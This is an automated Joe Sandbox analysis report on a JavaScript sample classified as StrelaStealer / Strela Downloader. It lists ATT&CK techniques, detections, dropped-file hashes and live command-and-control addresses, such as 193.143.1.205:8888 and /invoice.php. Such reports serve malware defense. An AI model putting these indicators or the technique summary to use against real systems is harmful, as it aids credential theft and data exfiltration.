Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
497524953288097419.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/.	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/&	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sceM	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2718088725.00000272CF200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1498882167.00000272CF400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/&	net.exe, 00000007.00000003.1497349442.000001FE391D3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1497769444.000001FE391D3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1497769444.000001FE391D3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1497709355.000001FE39198000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1495543200.000001FE391EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sceM	net.exe, 00000007.00000002.1497709355.000001FE39198000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/.	net.exe, 00000007.00000003.1497349442.000001FE391D3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1497769444.000001FE391D3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588909
Start date and time:	2025-01-11 07:01:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	497524953288097419.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 3.219.243.226, 3.233.129.217, 52.6.155.20, 52.22.41.97, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 54.224.241.105, 172.202.163.200, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 497524953288097419.js

Simulations

Behavior and APIs

Time	Type	Description
01:02:11	API Interceptor	30x Sleep call for process: powershell.exe modified
01:02:15	API Interceptor	1x Sleep call for process: net.exe modified
01:02:15	API Interceptor	2x Sleep call for process: svchost.exe modified
01:02:23	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021920132160963
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAX:RJE+Lfki1GjHwU/+vVhWqpK
MD5:	D9C019B5A678B3D98FA1689F63AF0A30
SHA1:	A4DF310928F2B3958E7143ED46F7B4B9247B5C4F
SHA-256:	FF75F87430ADDA135B1FFCE4E83E3C4EB6236E8227C2DF502F5F631E9BA33F51
SHA-512:	6820597C2569B89BA97B5C12AD1E0460B581A8F0A120EEA13FA4BE78DF3A02324D1D35D864B6936CB9C1F090E4FAE7CE9A4EA32D9EA748ADB381B87A0304B01D
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd04cda4b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.943255279884675
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:7azaHvxXy2V2UR
MD5:	CD9ED259AB96C4EDD9F4FDB2BFD0D6FD
SHA1:	ED6656FE1428BBEE0D553805DFDCC1F448F84EE6
SHA-256:	767B2402723AFCE748F85CB74D20E4F51E66C84F68F96BB651856B40975D38C3
SHA-512:	50316A7390E7697FB1979AC709F3EBFD3D3DB3FC6F5D94A0ECFE63C3EB4E2B67CA5BB3D60F93F52BF4B584F84640799D8E3866E0EB4234C2A6131745B425B75E
Malicious:	false
Preview:	.L.K... ...............X\...;...{......................0.x...... ...{s......}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{....................................y......}?..................B./.....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0797819008146812
Encrypted:	false
SSDEEP:	3:hXKYeCS3dl/nqlFcl1ZUllllUXYqallGBnX/l/Tj/k7/t:hXKzDl/qlFclQ/lKXm254
MD5:	2E701B2CA74F9BE1F5C5DB9828B5368A
SHA1:	B7BD474A0EA638AF6CC1A98F2F76B45644BC007C
SHA-256:	6E7800C360934E714F97A750482244A8A4457BD4AF75E60267483ECF576FEDB4
SHA-512:	45377A6D64AF04F6997E4E9872EF6E7575096E4DD638335BD7D1DA57DF4E91D32443DDA5DD7D2ACF6BD185C369D6EBA8EF2CA8C58371474593C52635AFF312D6
Malicious:	false
Preview:	.........................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s..................B./.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.100495955735103
Encrypted:	false
SSDEEP:	6:iOn9TIQ+q2PCHhJ2nKuAl9OmbnIFUtF9Q/dWZmwr9Q/QVkwOCHhJ2nKuAl9Ombjd:7nlF+vBHAahFUtFB/rVV56HAaSJ
MD5:	2F9CB127EE2F60E3B721EA7426C550FE
SHA1:	46992CD51C5F8E032DFDAF0965B3A9A39645D068
SHA-256:	34F5E9613EBDED0E5A5835ECCB0BBC61A3E83EF172F7303656C26290D3BE92FB
SHA-512:	BE8E6F1A6CAB8C7E421F95EBB40911295C78CC39287E55CCF5CA4E757FCD6ECE838A7D8484457E22A837E461F3CAE8C8FEE3F76482BA3F9A04BA8A1CA2EC8CB5
Malicious:	false
Preview:	2025/01/11-01:02:15.760 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:02:15.762 1c0c Recovering log #3.2025/01/11-01:02:15.762 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.100495955735103
Encrypted:	false
SSDEEP:	6:iOn9TIQ+q2PCHhJ2nKuAl9OmbnIFUtF9Q/dWZmwr9Q/QVkwOCHhJ2nKuAl9Ombjd:7nlF+vBHAahFUtFB/rVV56HAaSJ
MD5:	2F9CB127EE2F60E3B721EA7426C550FE
SHA1:	46992CD51C5F8E032DFDAF0965B3A9A39645D068
SHA-256:	34F5E9613EBDED0E5A5835ECCB0BBC61A3E83EF172F7303656C26290D3BE92FB
SHA-512:	BE8E6F1A6CAB8C7E421F95EBB40911295C78CC39287E55CCF5CA4E757FCD6ECE838A7D8484457E22A837E461F3CAE8C8FEE3F76482BA3F9A04BA8A1CA2EC8CB5
Malicious:	false
Preview:	2025/01/11-01:02:15.760 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:02:15.762 1c0c Recovering log #3.2025/01/11-01:02:15.762 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.146740145647873
Encrypted:	false
SSDEEP:	6:iOn9Wt+q2PCHhJ2nKuAl9Ombzo2jMGIFUtF94gZmwr9kVkwOCHhJ2nKuAl9Ombzz:7nkovBHAa8uFUtFWg/rW56HAa8RJ
MD5:	27D0039C9EDFE64B53AF6CA94B6B6C3A
SHA1:	43A59FC563BB2C0C3285A8546A0D0994C2ABD488
SHA-256:	2270E01292776B12C514CC290264836154ED1E9D5972E1E298C9899BF92593C4
SHA-512:	79F971056D710CB307C123A2E05712118B56524EE2DA6F952405208A48C9F749070BBEC6DAFBC15BA490C66DFDC1B8B23B2F87DF7F8B9DFDFC2B667C617A1089
Malicious:	false
Preview:	2025/01/11-01:02:15.848 7b8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:02:15.850 7b8 Recovering log #3.2025/01/11-01:02:15.851 7b8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.146740145647873
Encrypted:	false
SSDEEP:	6:iOn9Wt+q2PCHhJ2nKuAl9Ombzo2jMGIFUtF94gZmwr9kVkwOCHhJ2nKuAl9Ombzz:7nkovBHAa8uFUtFWg/rW56HAa8RJ
MD5:	27D0039C9EDFE64B53AF6CA94B6B6C3A
SHA1:	43A59FC563BB2C0C3285A8546A0D0994C2ABD488
SHA-256:	2270E01292776B12C514CC290264836154ED1E9D5972E1E298C9899BF92593C4
SHA-512:	79F971056D710CB307C123A2E05712118B56524EE2DA6F952405208A48C9F749070BBEC6DAFBC15BA490C66DFDC1B8B23B2F87DF7F8B9DFDFC2B667C617A1089
Malicious:	false
Preview:	2025/01/11-01:02:15.848 7b8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:02:15.850 7b8 Recovering log #3.2025/01/11-01:02:15.851 7b8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\230231f2-bec4-49d3-92fc-a7589a05c26d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9602737064168165
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqh0chsBdOg2HfAcaq3QYiub6P7E4T3y:Y2sRdsO0ndMHfr3QYhbS7nby
MD5:	5CFBE05671438CA5589BEB984BB3368A
SHA1:	F9A746C146723CE4E9135FB9276DA3B9DE94F97E
SHA-256:	4975A75523601EEB7EEBFF8B40732C55A230765F2BC79DDCCF35D8CC7C8203D4
SHA-512:	F507FFA6E561107B013B4873F77CFE455A18CEA0EFD9B690FE7974DB21B580DE13BABE508ADDA69D00098ED3394C47C15C160D4F1485A7ACFFAEE6697E4061D8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381135347523804","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":119683},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9602737064168165
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqh0chsBdOg2HfAcaq3QYiub6P7E4T3y:Y2sRdsO0ndMHfr3QYhbS7nby
MD5:	5CFBE05671438CA5589BEB984BB3368A
SHA1:	F9A746C146723CE4E9135FB9276DA3B9DE94F97E
SHA-256:	4975A75523601EEB7EEBFF8B40732C55A230765F2BC79DDCCF35D8CC7C8203D4
SHA-512:	F507FFA6E561107B013B4873F77CFE455A18CEA0EFD9B690FE7974DB21B580DE13BABE508ADDA69D00098ED3394C47C15C160D4F1485A7ACFFAEE6697E4061D8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381135347523804","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":119683},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.237883003612549
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bRwlY:S43C4mS7fFi0KFYDjr3LWO3V3aw+bRwS
MD5:	7B1D3D7E015A07D3D7F0FDB65186287D
SHA1:	C8B6F307128E8AAD1CD02023F7106A55B48EF522
SHA-256:	F187C48AC65295650A85D2D5CD52FD39B38A5AD9A8EED7D6B7AE06D2E8A7806D
SHA-512:	40AAE27F26BF11F5EA00253624130DF1803F5995A1508D955D5A5A0333BD056B5C4802BC5F6574B0B2E0860D70C11A34CE03BB8706C1A1511E732226E89FBAAA
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.1894490040336025
Encrypted:	false
SSDEEP:	6:iOn9yURCN+q2PCHhJ2nKuAl9OmbzNMxIFUtF9yUHZZmwr9yUToNVkwOCHhJ2nKuP:7nsURCIvBHAa8jFUtFsUHZ/rsU256HAo
MD5:	4D7EDA1083E4156F154E005BDCCE330D
SHA1:	87A824068D13D66A136800EDD060B688936EA173
SHA-256:	1B858408392E4D64251B937DF69CEB63E97A1EFAE7096C9BC056775FB5CB3914
SHA-512:	FDC841AF781BD55D7828BDFEBF8FFCB2AFB659A13D0870A1FFBA39EDE22B298075FBC4609ED89BD368BE822598C7FDF60656E93DD52FBCACC2A21340A3D52757
Malicious:	false
Preview:	2025/01/11-01:02:16.144 7b8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:02:16.145 7b8 Recovering log #3.2025/01/11-01:02:16.146 7b8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.1894490040336025
Encrypted:	false
SSDEEP:	6:iOn9yURCN+q2PCHhJ2nKuAl9OmbzNMxIFUtF9yUHZZmwr9yUToNVkwOCHhJ2nKuP:7nsURCIvBHAa8jFUtFsUHZ/rsU256HAo
MD5:	4D7EDA1083E4156F154E005BDCCE330D
SHA1:	87A824068D13D66A136800EDD060B688936EA173
SHA-256:	1B858408392E4D64251B937DF69CEB63E97A1EFAE7096C9BC056775FB5CB3914
SHA-512:	FDC841AF781BD55D7828BDFEBF8FFCB2AFB659A13D0870A1FFBA39EDE22B298075FBC4609ED89BD368BE822598C7FDF60656E93DD52FBCACC2A21340A3D52757
Malicious:	false
Preview:	2025/01/11-01:02:16.144 7b8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:02:16.145 7b8 Recovering log #3.2025/01/11-01:02:16.146 7b8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
